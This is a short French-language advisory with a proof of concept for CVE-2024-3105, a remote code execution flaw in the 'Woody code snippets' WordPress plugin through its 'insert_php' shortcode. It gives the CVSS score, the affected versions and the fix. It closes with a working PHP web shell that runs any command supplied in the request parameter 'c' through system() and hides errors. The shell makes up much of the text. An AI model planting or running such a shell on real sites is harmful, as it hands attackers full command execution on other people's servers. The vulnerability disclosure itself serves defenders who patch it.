CVE-2024-3105 (PoC)

Le plugin WordPress Woody code snippets – Insert Header Footer Code, AdSense Ads est vulnérable à l'exécution de code à distance dans toutes les versions jusqu'à la 2.5.0 incluse, via le shortcode 'insert_php'. Cela est dû au fait que le plugin ne restreint pas l'utilisation de cette fonctionnalité aux utilisateurs hautement autorisés. Cela permet à des attaquants authentifiés, ayant un accès de niveau contributeur et plus, d'exécuter du code sur le serveur.

Informations

Score de base : 9.9 CRITIQUE
Vecteur : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Type de logiciel : Plugin
Slug du logiciel : insert-php
Correction : Mettre à jour vers la version 2.5.1, ou une version corrigée plus récente
Version affectée : <= 2.5.0

Exemple de code PHP

<?php
    error_reporting(0);
    $cmd = "$_REQUEST[c]";
    if ($cmd == "") {
	    $cmd = "echo > NUL";
    }
    @system("$cmd");
?>